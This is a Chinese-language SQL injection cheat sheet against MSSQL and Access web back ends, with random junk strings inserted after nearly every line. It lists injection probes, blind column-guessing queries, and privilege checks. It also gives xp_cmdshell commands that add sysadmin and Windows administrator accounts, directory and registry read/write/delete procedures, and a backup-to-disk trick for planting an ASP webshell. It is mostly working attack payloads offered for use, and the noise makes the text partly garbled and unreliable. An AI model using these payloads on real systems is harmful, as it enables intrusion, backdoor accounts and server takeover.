1.判断是否有注入;and 1=1 ;and 1=2 A~ugx~S0
2.初步判断是否是mssql ;and user>0 HH[b1z2D
@`<v d@
3.注入参数是字符'and [查询条件] and ''=' Ea@N:t?(8=
KDP7u
4.搜索时没过滤参数的'and [查询条件] and '%25'=' [\NyBc
/esSM~*H
5.判断数据库系统 0 r=:l/Pz
Y|FJ1x$r
;and (select count(*) from sysobjects)>0 mssql l^x5m]Kt
DXj_\ R(}
;and (select count(*) from msysobjects)>0 access /[YH
W]
M9{?gM9
b?-Ep?G'\
EB'(%dH
6.猜数据库 ;and (select Count(*) from [数据库名])>0 tp2CMJc{L
;\=W=wL(
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 hv
18V>8
lgTavs
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 f/G
YDat
CLI!( 8ZW
9.(1)猜字段的ascii值(access) vS%r_gf(
;L.@4b[lP
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bq3G3oAyG
&)
7umdSgi
(2)猜字段的ascii值(mssql) iJ_FJ[ U
=/MAKi}g
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 nfck3h
p(UUH3%W
10.测试权限结构(mssql) 1P&XG@
3IHya=qN
Wd'wL"6De
hA)tad]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- w~>V2u_-
}0c
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Ex35
Ie> )U)/$
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- xe[Cuy$P
*Got
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- e$|g
9 aT#7B
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- s
}q6@I
AZ cWf8
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- T'2(sHk
3X,9K23T
;and 1=(select IS_MEMBER('db_owner'));-- H)1< ;{:
xfw)0S
6bCC6G
+^hFs7je)
11.添加mssql和系统的帐户 O G#By6O
DzX5_ kA
;exec master.dbo.sp_addlogin username;-- c,;-[sn
;exec master.dbo.sp_password null,username,password;-- z-nhL=
HErTFY+vC
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2bU3*m^M
%^}3:0G
;exec master.dbo.xp_cmdshell 'net user username password <N^2|*3
(u@p[ncN}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `WHP#z
iF2/:iP
;exec master.dbo.xp_cmdshell 'net user username password /add';-- y8jk9Tv
-8&M^-
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t5n$sF
jI0gQ [
B@dA?w.x
p;Kw$fQ?
12.(1)遍历目录 'Uqz ,
R+IT)2
;create table dirs(paths varchar(100), id int) :.Vn
.x7d!t:(D
;insert dirs exec master.dbo.xp_dirtree 'c:\' ~0r:Wcj x
bY7d
;and (select top 1 paths from dirs)>0 ZZp6@@zyq'
N8;/Zd;^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) rmutw~nHD
=rcqYPul0
O#fGHI<43[
X2!vC!4P?L
(2)遍历目录 5F$ elW
# (B <n
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- GQO}E@W6C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .0;Z:x_3
MHJH@$|]
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 JSQNx2VqQ
[5^"U+`{x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 z
7OTL<h
d(zBd=;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 JX@/rXFY}
37Vs9w
`~QS3zq
GGsDR%U
13.mssql中的存储过程 ZFh2v]|!
_M=
\s>;G
xp_regenumvalues 注册表根键, 子键 dX-Xzg
OF*m9
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .p&4]6
=dz
iR_
xp_regread 根键,子键,键值名 Jj}+tQf
w=I8f}(
;exec xp_regread 5O<7<OB
E\&~S+:Xp
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 gq4le=,v
}$r/#F/Fn
xp_regwrite 根键,子键, 值名, 值类型, 值 vL(7|K
J@w Q3#5a
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 eS9uKb5n(
@13vn x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;QQLYT
.~qu,q7k~
xp_regdeletevalue 根键,子键,值名 TyVn5XHl^
IGEs1
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 gH5E+J_$
8R}CvzI
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 XqMJe'%r
FP=%e]vJ
sA=WU(4^
=b2/g[
14.mssql的backup创建webshell tWy0%
-
-v#0.3zm
use model 7(AB5.O
Sb I %|
create table cmd(str image); 8?AFvua}r
| u{NM1,
insert into cmd(str) values (''); :it52*3=
]P;Ng=a
backup database model to disk='c:\l.asp'; Uc]S7F#
jh\L)a*
W3K?K-
Q[J%
15.mssql内置函数 F[mL_JU
S,,,D+4
;and (select @@version)>0 获得Windows的版本号 uuW._$.A>
`+cc{k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa c.y8 x
]wCg'EUB
;and (select user_name())>0 爆当前系统的连接用户 f]N2(eM
l1XA9>n
;and (select db_name())>0 得到当前连接的数据库 zI77#AUM
8TIc;'bRM
d[ (KgX9
N0h* |
16.简洁的webshell aj;OG^(!2_
F@
lJk|*_
use model 57*`y'CW
O+hN?/>v
create table cmd(str image); 7xidBVx
q_K8vGm4e
insert into cmd(str) values (''); %7WGodlXW
gwwYz]'d>r
backup database model to disk='g:\wwwtest\l.asp';